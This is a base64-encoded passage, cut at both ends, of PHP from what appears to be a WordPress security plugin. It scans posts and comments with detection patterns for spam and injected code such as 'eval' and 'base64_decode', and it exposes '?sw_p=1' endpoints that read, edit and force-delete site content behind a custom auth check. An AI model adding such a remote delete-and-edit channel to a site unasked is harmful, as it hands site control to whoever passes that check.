A9PiAkcm93Wydwb3N0X3N0YXR1cyddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NldmVyaXR5JyA9PiAkbWV0YVsnc2V2J10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbGFiZWwnICAgID0+ICRtZXRhWydsYWJlbCddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ21hdGNoJyAgICA9PiBzdWJzdHIoJG1bMF0sIDAsIDEyMCksCiAgICAgICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAvLyBvbmUgZmluZGluZyBwZXIgcG9zdCBwZXIgc2NhbiBwYXNzCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRzY2FubmVkUm93cyA9IGNvdW50KChhcnJheSkkcm93cyk7CiAgICAgICAgICAgIGlmICgkc2Nhbm5lZFJvd3MgPCAkYmF0Y2hTeikgYnJlYWs7CiAgICAgICAgICAgICRvZmZzZXQgKz0gJGJhdGNoU3o7CiAgICAgICAgfQoKICAgICAgICAvLyAyLiBTY2FuIHdwX2NvbW1lbnRzIChzcGFtIGxpbmtzIC8gaW5qZWN0ZWQgY29udGVudCkKICAgICAgICBpZiAoKG1pY3JvdGltZSh0cnVlKSAtICRzdGFydCkgPCAkYnVkZ2V0KSB7CiAgICAgICAgICAgICRjb21tZW50UGF0dGVybnMgPSBbCiAgICAgICAgICAgICAgICAnL1xiKGNhc2lub3xnYW1ibGluZ3x2aWFncmF8Y2lhbGlzfHBoYXJtYWN5fHBheWRheVxzK2xvYW58Y3J5cHRvXHMraW52ZXN0KVxiL2l1JwogICAgICAgICAgICAgICAgICAgID0+IFsnc2V2JyA9PiAnTUVESVVNJywgJ2xhYmVsJyA9PiAnU3BhbSBrZXl3b3JkcyBpbiBjb21tZW50J10sCiAgICAgICAgICAgICAgICAnLzxhXHNbXj5dKmhyZWY9WyJcJ11odHRwcz86XC9cL1teIlwnXXs0MCx9L2knCiAgICAgICAgICAgICAgICAgICAgPT4gWydzZXYnID0+ICdNRURJVU0nLCAnbGFiZWwnID0+ICdMb25nIHN1c3BpY2lvdXMgVVJMIGluIGNvbW1lbnQnXSwKICAgICAgICAgICAgICAgICcvZXZhbFxzKlwofGJhc2U2NF9kZWNvZGVccypcKC9pJwogICAgICAgICAgICAgICAgICAgID0+IFsnc2V2JyA9PiAnQ1JJVElDQUwnLCAnbGFiZWwnID0+ICdDb2RlIGluamVjdGlvbiBpbiBjb21tZW50J10sCiAgICAgICAgICAgIF07CiAgICAgICAgICAgICRjb21tZW50cyA9ICR3cGRiLT5nZXRfcmVzdWx0cygKICAgICAgICAgICAgICAgICJTRUxFQ1QgY29tbWVudF9JRCwgY29tbWVudF9hdXRob3IsIGNvbW1lbnRfYXV0aG9yX3VybCwKICAgICAgICAgICAgICAgICAgICAgICAgTEVGVChjb21tZW50X2NvbnRlbnQsMjAwMCkgQVMgY29tbWVudF9jb250ZW50CiAgICAgICAgICAgICAgICAgRlJPTSB7JHdwZGItPmNvbW1lbnRzfQogICAgICAgICAgICAgICAgIFdIRVJFIGNvbW1lbnRfYXBwcm92ZWQgPSAnMScKICAgICAgICAgICAgICAgICAgIEFORCBMRU5HVEgoY29tbWVudF9jb250ZW50KSA+IDEwCiAgICAgICAgICAgICAgICAgT1JERVIgQlkgY29tbWVudF9JRCBERVNDCiAgICAgICAgICAgICAgICAgTElNSVQgNTAwIiwKICAgICAgICAgICAgICAgIEFSUkFZX0EKICAgICAgICAgICAgKTsKICAgICAgICAgICAgZm9yZWFjaCAoKGFycmF5KSRjb21tZW50cyBhcyAkYykgewogICAgICAgICAgICAgICAgJGhheSA9ICgkY1snY29tbWVudF9jb250ZW50J10gPz8gJycpIC4gJyAnIC4gKCRjWydjb21tZW50X2F1dGhvcl91cmwnXSA/PyAnJyk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkY29tbWVudFBhdHRlcm5zIGFzICRwYXQgPT4gJG1ldGEpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoQHByZWdfbWF0Y2goJHBhdCwgJGhheSwgJG0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaW5kaW5nc1tdID0gWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NvdXJjZScgICA9PiAnZGInLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3RhYmxlJyAgICA9PiAnY29tbWVudHMnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2lkJyAgICAgICA9PiAoaW50KSRjWydjb21tZW50X0lEJ10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGl0bGUnICAgID0+IHdwX3N0cmlwX2FsbF90YWdzKCRjWydjb21tZW50X2F1dGhvciddID8/ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyAgICAgPT4gJ2NvbW1lbnQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICA9PiAnYXBwcm92ZWQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NldmVyaXR5JyA9PiAkbWV0YVsnc2V2J10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbGFiZWwnICAgID0+ICRtZXRhWydsYWJlbCddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ21hdGNoJyAgICA9PiBzdWJzdHIoJG1bMF0sIDAsIDEyMCksCiAgICAgICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gMy4gQ3JvbiArIG9wdGlvbnMgKHJldXNlIGV4aXN0aW5nIGxvZ2ljLCBsaWdodHdlaWdodCkKICAgICAgICBpZiAoKG1pY3JvdGltZSh0cnVlKSAtICRzdGFydCkgPCAkYnVkZ2V0KSB7CiAgICAgICAgICAgICRoYXJkZW5GaW5kaW5ncyA9IHNlbGY6OmhhcmRlblNjYW5EQigpOwogICAgICAgICAgICBmb3JlYWNoICgkaGFyZGVuRmluZGluZ3MgYXMgJGhmKSB7CiAgICAgICAgICAgICAgICAkZmluZGluZ3NbXSA9IFsKICAgICAgICAgICAgICAgICAgICAnc291cmNlJyAgID0+ICdkYicsCiAgICAgICAgICAgICAgICAgICAgJ3RhYmxlJyAgICA9PiAkaGZbJ3R5cGUnXSA/PyAnb3B0aW9uJywKICAgICAgICAgICAgICAgICAgICAnaWQnICAgICAgID0+IDAsCiAgICAgICAgICAgICAgICAgICAgJ3RpdGxlJyAgICA9PiAkaGZbJ2tleSddID8/ICcnLAogICAgICAgICAgICAgICAgICAgICd0eXBlJyAgICAgPT4gJGhmWyd0eXBlJ10gPz8gJ29wdGlvbicsCiAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICA9PiAnJywKICAgICAgICAgICAgICAgICAgICAnc2V2ZXJpdHknID0+ICdISUdIJywKICAgICAgICAgICAgICAgICAgICAnbGFiZWwnICAgID0+ICRoZlsncmVhc29uJ10gPz8gJ0RCIGFub21hbHknLAogICAgICAgICAgICAgICAgICAgICdtYXRjaCcgICAgPT4gc3Vic3RyKCRoZlsndmFsdWUnXSA/PyAnJywgMCwgMTIwKSwKICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiAkZmluZGluZ3M7CiAgICB9CgogICAgLy8gUE9TVCA/c3dfcD0xIHsic3dfYWN0aW9uIjoiZGIvc2NhbiJ9IOKAlCBvbi1kZW1hbmQgREIgc2NhbgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0RGJTY2FuKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgIGlmICghc2VsZjo6ZGJBdXRoQ2hlY2soJHJlcXVlc3QpKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgICRmaW5kaW5ncyA9IHNlbGY6OnJ1bkRiU2NhbigzMCk7CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdmaW5kaW5ncycgPT4gJGZpbmRpbmdzLCAnY291bnQnID0+IGNvdW50KCRmaW5kaW5ncyldKTsKICAgIH0KCiAgICAvLyBQT1NUID9zd19wPTEgeyJzd19hY3Rpb24iOiJkYi9saXN0IiwidGFibGUiOiJwb3N0c3xwYWdlc3xjb21tZW50cyIsInBhZ2UiOjEsInNlYXJjaCI6Ii4uLiJ9CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3REYkxpc3QoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgZ2xvYmFsICR3cGRiOwogICAgICAgIGlmICghc2VsZjo6ZGJBdXRoQ2hlY2soJHJlcXVlc3QpKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwoKICAgICAgICAkYm9keSAgICA9IGpzb25fZGVjb2RlKChzdHJpbmcpJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICR0YWJsZSAgID0gJGJvZHlbJ3RhYmxlJ10gPz8gJ3Bvc3RzJzsgICAvLyBwb3N0cyB8IHBhZ2VzIHwgY29tbWVudHMKICAgICAgICAkcGFnZSAgICA9IG1heCgxLCAoaW50KSgkYm9keVsncGFnZSddID8/IDEpKTsKICAgICAgICAkcGVyUGFnZSA9IG1pbig1MCwgbWF4KDEsIChpbnQpKCRib2R5WydwZXJfcGFnZSddID8/IDIwKSkpOwogICAgICAgICRzZWFyY2ggID0gdHJpbSgkYm9keVsnc2VhcmNoJ10gPz8gJycpOwogICAgICAgICRvZmZzZXQgID0gKCRwYWdlIC0gMSkgKiAkcGVyUGFnZTsKCiAgICAgICAgaWYgKCR0YWJsZSA9PT0gJ2NvbW1lbnRzJykgewogICAgICAgICAgICAkd2hlcmUgPSAiV0hFUkUgMT0xIjsKICAgICAgICAgICAgJGFyZ3MgID0gW107CiAgICAgICAgICAgIGlmICgkc2VhcmNoICE9PSAnJykgewogICAgICAgICAgICAgICAgJHdoZXJlIC49ICIgQU5EIChjb21tZW50X2NvbnRlbnQgTElLRSAlcyBPUiBjb21tZW50X2F1dGhvciBMSUtFICVzIE9SIGNvbW1lbnRfYXV0aG9yX3VybCBMSUtFICVzKSI7CiAgICAgICAgICAgICAgICAkbGlrZSAgID0gJyUnIC4gJHdwZGItPmVzY19saWtlKCRzZWFyY2gpIC4gJyUnOwogICAgICAgICAgICAgICAgJGFyZ3MgICA9IFskbGlrZSwgJGxpa2UsICRsaWtlXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdG90YWwgPSAoaW50KSR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKAogICAgICAgICAgICAgICAgIlNFTEVDVCBDT1VOVCgqKSBGUk9NIHskd3BkYi0+Y29tbWVudHN9ICR3aGVyZSIsIC4uLiRhcmdzCiAgICAgICAgICAgICkpOwogICAgICAgICAgICAkcm93cyA9ICR3cGRiLT5nZXRfcmVzdWx0cygkd3BkYi0+cHJlcGFyZSgKICAgICAgICAgICAgICAgICJTRUxFQ1QgY29tbWVudF9JRCBBUyBpZCwKICAgICAgICAgICAgICAgICAgICAgICAgY29tbWVudF9hdXRob3IgQVMgYXV0aG9yLAogICAgICAgICAgICAgICAgICAgICAgICBjb21tZW50X2F1dGhvcl9lbWFpbCBBUyBlbWFpbCwKICAgICAgICAgICAgICAgICAgICAgICAgY29tbWVudF9hdXRob3JfdXJsIEFTIHVybCwKICAgICAgICAgICAgICAgICAgICAgICAgY29tbWVudF9kYXRlIEFTIGRhdGUsCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbW1lbnRfYXBwcm92ZWQgQVMgc3RhdHVzLAogICAgICAgICAgICAgICAgICAgICAgICBMRUZUKGNvbW1lbnRfY29udGVudCwzMDApIEFTIGV4Y2VycHQsCiAgICAgICAgICAgICAgICAgICAgICAgIExFTkdUSChjb21tZW50X2NvbnRlbnQpIEFTIGNvbnRlbnRfbGVuCiAgICAgICAgICAgICAgICAgRlJPTSB7JHdwZGItPmNvbW1lbnRzfSAkd2hlcmUKICAgICAgICAgICAgICAgICBPUkRFUiBCWSBjb21tZW50X0lEIERFU0MKICAgICAgICAgICAgICAgICBMSU1JVCAlZCBPRkZTRVQgJWQiLAogICAgICAgICAgICAgICAgLi4uWy4uLiRhcmdzLCAkcGVyUGFnZSwgJG9mZnNldF0KICAgICAgICAgICAgKSwgQVJSQVlfQSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHBvc3RUeXBlID0gKCR0YWJsZSA9PT0gJ3BhZ2VzJykgPyAncGFnZScgOiAncG9zdCc7CiAgICAgICAgICAgICR3aGVyZSAgICA9ICJXSEVSRSBwb3N0X3R5cGUgPSAlcyBBTkQgcG9zdF9zdGF0dXMgIT0gJ2F1dG8tZHJhZnQnIjsKICAgICAgICAgICAgJGFyZ3MgICAgID0gWyRwb3N0VHlwZV07CiAgICAgICAgICAgIGlmICgkc2VhcmNoICE9PSAnJykgewogICAgICAgICAgICAgICAgJHdoZXJlIC49ICIgQU5EIChwb3N0X3RpdGxlIExJS0UgJXMgT1IgcG9zdF9jb250ZW50IExJS0UgJXMpIjsKICAgICAgICAgICAgICAgICRsaWtlICAgPSAnJScgLiAkd3BkYi0+ZXNjX2xpa2UoJHNlYXJjaCkgLiAnJSc7CiAgICAgICAgICAgICAgICAkYXJnc1tdID0gJGxpa2U7CiAgICAgICAgICAgICAgICAkYXJnc1tdID0gJGxpa2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHRvdGFsID0gKGludCkkd3BkYi0+Z2V0X3Zhcigkd3BkYi0+cHJlcGFyZSgKICAgICAgICAgICAgICAgICJTRUxFQ1QgQ09VTlQoKikgRlJPTSB7JHdwZGItPnBvc3RzfSAkd2hlcmUiLCAuLi4kYXJncwogICAgICAgICAgICApKTsKICAgICAgICAgICAgJHJvd3MgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJHdwZGItPnByZXBhcmUoCiAgICAgICAgICAgICAgICAiU0VMRUNUIElEIEFTIGlkLAogICAgICAgICAgICAgICAgICAgICAgICBwb3N0X3RpdGxlIEFTIHRpdGxlLAogICAgICAgICAgICAgICAgICAgICAgICBwb3N0X3N0YXR1cyBBUyBzdGF0dXMsCiAgICAgICAgICAgICAgICAgICAgICAgIHBvc3RfZGF0ZSBBUyBkYXRlLAogICAgICAgICAgICAgICAgICAgICAgICBwb3N0X21vZGlmaWVkIEFTIG1vZGlmaWVkLAogICAgICAgICAgICAgICAgICAgICAgICBMRU5HVEgocG9zdF9jb250ZW50KSBBUyBjb250ZW50X2xlbiwKICAgICAgICAgICAgICAgICAgICAgICAgTEVGVChwb3N0X2NvbnRlbnQsMzAwKSBBUyBleGNlcnB0CiAgICAgICAgICAgICAgICAgRlJPTSB7JHdwZGItPnBvc3RzfSAkd2hlcmUKICAgICAgICAgICAgICAgICBPUkRFUiBCWSBJRCBERVNDCiAgICAgICAgICAgICAgICAgTElNSVQgJWQgT0ZGU0VUICVkIiwKICAgICAgICAgICAgICAgIC4uLlsuLi4kYXJncywgJHBlclBhZ2UsICRvZmZzZXRdCiAgICAgICAgICAgICksIEFSUkFZX0EpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgJ29rJyAgICAgICA9PiB0cnVlLAogICAgICAgICAgICAndGFibGUnICAgID0+ICR0YWJsZSwKICAgICAgICAgICAgJ3Jvd3MnICAgICA9PiAkcm93cyA/OiBbXSwKICAgICAgICAgICAgJ3RvdGFsJyAgICA9PiAkdG90YWwsCiAgICAgICAgICAgICdwYWdlJyAgICAgPT4gJHBhZ2UsCiAgICAgICAgICAgICdwZXJfcGFnZScgPT4gJHBlclBhZ2UsCiAgICAgICAgICAgICdwYWdlcycgICAgPT4gJHRvdGFsID4gMCA/IChpbnQpY2VpbCgkdG90YWwgLyAkcGVyUGFnZSkgOiAwLAogICAgICAgIF0pOwogICAgfQoKICAgIC8vIFBPU1QgP3N3X3A9MSB7InN3X2FjdGlvbiI6ImRiL3JlYWQiLCJ0YWJsZSI6InBvc3RzfHBhZ2VzfGNvbW1lbnRzIiwiaWQiOjEyM30KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdERiUmVhZChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICBnbG9iYWwgJHdwZGI7CiAgICAgICAgaWYgKCFzZWxmOjpkYkF1dGhDaGVjaygkcmVxdWVzdCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CgogICAgICAgICRib2R5ICA9IGpzb25fZGVjb2RlKChzdHJpbmcpJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICR0YWJsZSA9ICRib2R5Wyd0YWJsZSddID8/ICdwb3N0cyc7CiAgICAgICAgJGlkICAgID0gKGludCkoJGJvZHlbJ2lkJ10gPz8gMCk7CiAgICAgICAgaWYgKCRpZCA8PSAwKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ludmFsaWQgaWQnXSwgNDAwKTsKCiAgICAgICAgaWYgKCR0YWJsZSA9PT0gJ2NvbW1lbnRzJykgewogICAgICAgICAgICAkcm93ID0gJHdwZGItPmdldF9yb3coJHdwZGItPnByZXBhcmUoCiAgICAgICAgICAgICAgICAiU0VMRUNUIGNvbW1lbnRfSUQgQVMgaWQsIGNvbW1lbnRfYXV0aG9yIEFTIGF1dGhvciwgY29tbWVudF9hdXRob3JfZW1haWwgQVMgZW1haWwsCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbW1lbnRfYXV0aG9yX3VybCBBUyB1cmwsIGNvbW1lbnRfZGF0ZSBBUyBkYXRlLAogICAgICAgICAgICAgICAgICAgICAgICBjb21tZW50X2FwcHJvdmVkIEFTIHN0YXR1cywgY29tbWVudF9jb250ZW50IEFTIGNvbnRlbnQKICAgICAgICAgICAgICAgICBGUk9NIHskd3BkYi0+Y29tbWVudHN9IFdIRVJFIGNvbW1lbnRfSUQgPSAlZCIsCiAgICAgICAgICAgICAgICAkaWQKICAgICAgICAgICAgKSwgQVJSQVlfQSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJvdyA9ICR3cGRiLT5nZXRfcm93KCR3cGRiLT5wcmVwYXJlKAogICAgICAgICAgICAgICAgIlNFTEVDVCBJRCBBUyBpZCwgcG9zdF90aXRsZSBBUyB0aXRsZSwgcG9zdF9jb250ZW50IEFTIGNvbnRlbnQsCiAgICAgICAgICAgICAgICAgICAgICAgIHBvc3Rfc3RhdHVzIEFTIHN0YXR1cywgcG9zdF90eXBlIEFTIHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgIHBvc3RfZGF0ZSBBUyBkYXRlLCBwb3N0X21vZGlmaWVkIEFTIG1vZGlmaWVkLAogICAgICAgICAgICAgICAgICAgICAgICBwb3N0X25hbWUgQVMgc2x1ZywgZ3VpZCBBUyB1cmwKICAgICAgICAgICAgICAgICBGUk9NIHskd3BkYi0+cG9zdHN9IFdIRVJFIElEID0gJWQiLAogICAgICAgICAgICAgICAgJGlkCiAgICAgICAgICAgICksIEFSUkFZX0EpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCEkcm93KSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ25vdCBmb3VuZCddLCA0MDQpOwogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlLCAncm93JyA9PiAkcm93XSk7CiAgICB9CgogICAgLy8gUE9TVCA/c3dfcD0xIHsic3dfYWN0aW9uIjoiZGIvdXBkYXRlIiwidGFibGUiOiJwb3N0c3xwYWdlc3xjb21tZW50cyIsImlkIjoxMjMsImZpZWxkcyI6ey4uLn19CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3REYlVwZGF0ZShXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICBpZiAoIXNlbGY6OmRiQXV0aENoZWNrKCRyZXF1ZXN0KSkgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKCiAgICAgICAgJGJvZHkgICA9IGpzb25fZGVjb2RlKChzdHJpbmcpJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICR0YWJsZSAgPSAkYm9keVsndGFibGUnXSA/PyAncG9zdHMnOwogICAgICAgICRpZCAgICAgPSAoaW50KSgkYm9keVsnaWQnXSA/PyAwKTsKICAgICAgICAkZmllbGRzID0gJGJvZHlbJ2ZpZWxkcyddID8/IFtdOwogICAgICAgIGlmICgkaWQgPD0gMCB8fCBlbXB0eSgkZmllbGRzKSB8fCAhaXNfYXJyYXkoJGZpZWxkcykpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdpZCBhbmQgZmllbGRzIHJlcXVpcmVkJ10sIDQwMCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRhYmxlID09PSAnY29tbWVudHMnKSB7CiAgICAgICAgICAgICRhbGxvd2VkID0gWydjb21tZW50X2NvbnRlbnQnLCAnY29tbWVudF9hcHByb3ZlZCddOwogICAgICAgICAgICAkZGF0YSA9IGFycmF5X2ludGVyc2VjdF9rZXkoJGZpZWxkcywgYXJyYXlfZmxpcCgkYWxsb3dlZCkpOwogICAgICAgICAgICBpZiAoZW1wdHkoJGRhdGEpKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ25vIGFsbG93ZWQgZmllbGRzJ10sIDQwMCk7CiAgICAgICAgICAgICRyZXN1bHQgPSB3cF91cGRhdGVfY29tbWVudChhcnJheV9tZXJnZShbJ2NvbW1lbnRfSUQnID0+ICRpZF0sICRkYXRhKSk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ID09PSBmYWxzZSkgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd1cGRhdGUgZmFpbGVkJ10sIDUwMCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGFsbG93ZWQgPSBbJ3Bvc3RfdGl0bGUnLCAncG9zdF9jb250ZW50JywgJ3Bvc3Rfc3RhdHVzJywgJ3Bvc3RfbmFtZSddOwogICAgICAgICAgICAkZGF0YSA9IGFycmF5X2ludGVyc2VjdF9rZXkoJGZpZWxkcywgYXJyYXlfZmxpcCgkYWxsb3dlZCkpOwogICAgICAgICAgICBpZiAoZW1wdHkoJGRhdGEpKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ25vIGFsbG93ZWQgZmllbGRzJ10sIDQwMCk7CiAgICAgICAgICAgICRkYXRhWydJRCddID0gJGlkOwogICAgICAgICAgICAkcmVzdWx0ID0gd3BfdXBkYXRlX3Bvc3QoJGRhdGEsIHRydWUpOwogICAgICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAkcmVzdWx0LT5nZXRfZXJyb3JfbWVzc2FnZSgpXSwgNTAwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdpZCcgPT4gJGlkXSk7CiAgICB9CgogICAgLy8gUE9TVCA/c3dfcD0xIHsic3dfYWN0aW9uIjoiZGIvZGVsZXRlIiwidGFibGUiOiJwb3N0c3xwYWdlc3xjb21tZW50cyIsImlkIjoxMjN9CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3REYkRlbGV0ZShXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICBpZiAoIXNlbGY6OmRiQXV0aENoZWNrKCRyZXF1ZXN0KSkgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKCiAgICAgICAgJGJvZHkgID0ganNvbl9kZWNvZGUoKHN0cmluZykkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHRhYmxlID0gJGJvZHlbJ3RhYmxlJ10gPz8gJ3Bvc3RzJzsKICAgICAgICAkaWQgICAgPSAoaW50KSgkYm9keVsnaWQnXSA/PyAwKTsKICAgICAgICBpZiAoJGlkIDw9IDApIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnaW52YWxpZCBpZCddLCA0MDApOwoKICAgICAgICBpZiAoJHRhYmxlID09PSAnY29tbWVudHMnKSB7CiAgICAgICAgICAgICRvayA9IHdwX2RlbGV0ZV9jb21tZW50KCRpZCwgdHJ1ZSk7IC8vIGZvcmNlPXRydWUgc2tpcHMgdHJhc2gKICAgICAgICAgICAgaWYgKCEkb2spIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZGVsZXRlIGZhaWxlZCBvciBjb21tZW50IG5vdCBmb3VuZCddLCA1MDApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIHdwX2RlbGV0ZV9wb3N0IHdpdGggZm9yY2U9dHJ1ZTogcGVybWFuZW50IGRlbGV0ZSwgaGFuZGxlcyBwb3N0bWV0YSArIHRlcm0gcmVsYXRpb25zCiAgICAgICAgICAgICRyZXN1bHQgPSB3cF9kZWxldGVfcG9zdCgkaWQsIHRydWUpOwogICAgICAgICAgICBpZiAoISRyZXN1bHQpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZGVsZXRlIGZhaWxlZCBvciBwb3N0IG5vdCBmb3VuZCddLCA1MDApOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdkZWxldGVkX2lkJyA9PiAkaWRdKTsKICAgIH0KCiAgICAvLyBQT1NUID9zd19wPTEgeyJzd19hY3Rpb24iOiJkYi9kZWxldGUtYnVsayIsInRhYmxlIjoicG9zdHN8cGFnZXN8Y29tbWVudHMiLCJpZHMiOlsxLDIsM119CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3REYkRlbGV0ZUJ1bGsoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgaWYgKCFzZWxmOjpkYkF1dGhDaGVjaygkcmVxdWVzdCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CgogICAgICAgICRib2R5ICA9IGpzb25fZGVjb2RlKChzdHJpbmcpJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICR0YWJsZSA9ICRib2R5Wyd0YWJsZSddID8/ICdwb3N0cyc7CiAgICAgICAgJHJhdyAgID0gJGJvZHlbJ2lkcyddID8/IFtdOwogICAgICAgICRpZHMgICA9IGFycmF5X3ZhbHVlcyhhcnJheV9maWx0ZXIoYXJyYXlfbWFwKCdpbnR2YWwnLCAkcmF3KSwgZnVuY3Rpb24oJGlkKXsgcmV0dXJuICRpZCA+IDA7IH0pKTsKCiAgICAgICAgaWYgKGVtcHR5KCRpZHMpKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ25vIHZhbGlkIGlkcyddLCA0MDApOwoKICAgICAgICAkZGVsZXRlZCA9IFtdOwogICAgICAgICRlcnJvcnMgID0gW107CgogICAgICAgIGZvcmVhY2ggKCRpZHMgYXMgJGlkKSB7CiAgICAgICAgICAgIGlmICgkdGFibGUgPT09ICdjb21tZW50cycpIHsKICAgICAgICAgICAgICAgICRvayA9IHdwX2RlbGV0ZV9jb21tZW50KCRpZCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBpZiAoJG9rKSAkZGVsZXRlZFtdID0gJGlkOyBlbHNlICRlcnJvcnNbXSA9ICRpZDsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSB3cF9kZWxldGVfcG9zdCgkaWQsIHRydWUpOwogICAgICAgICAgICAgICAgaWYgKCRyZXN1bHQpICRkZWxldGVkW10gPSAkaWQ7IGVsc2UgJGVycm9yc1tdID0gJGlkOwogICAgICAgICAgI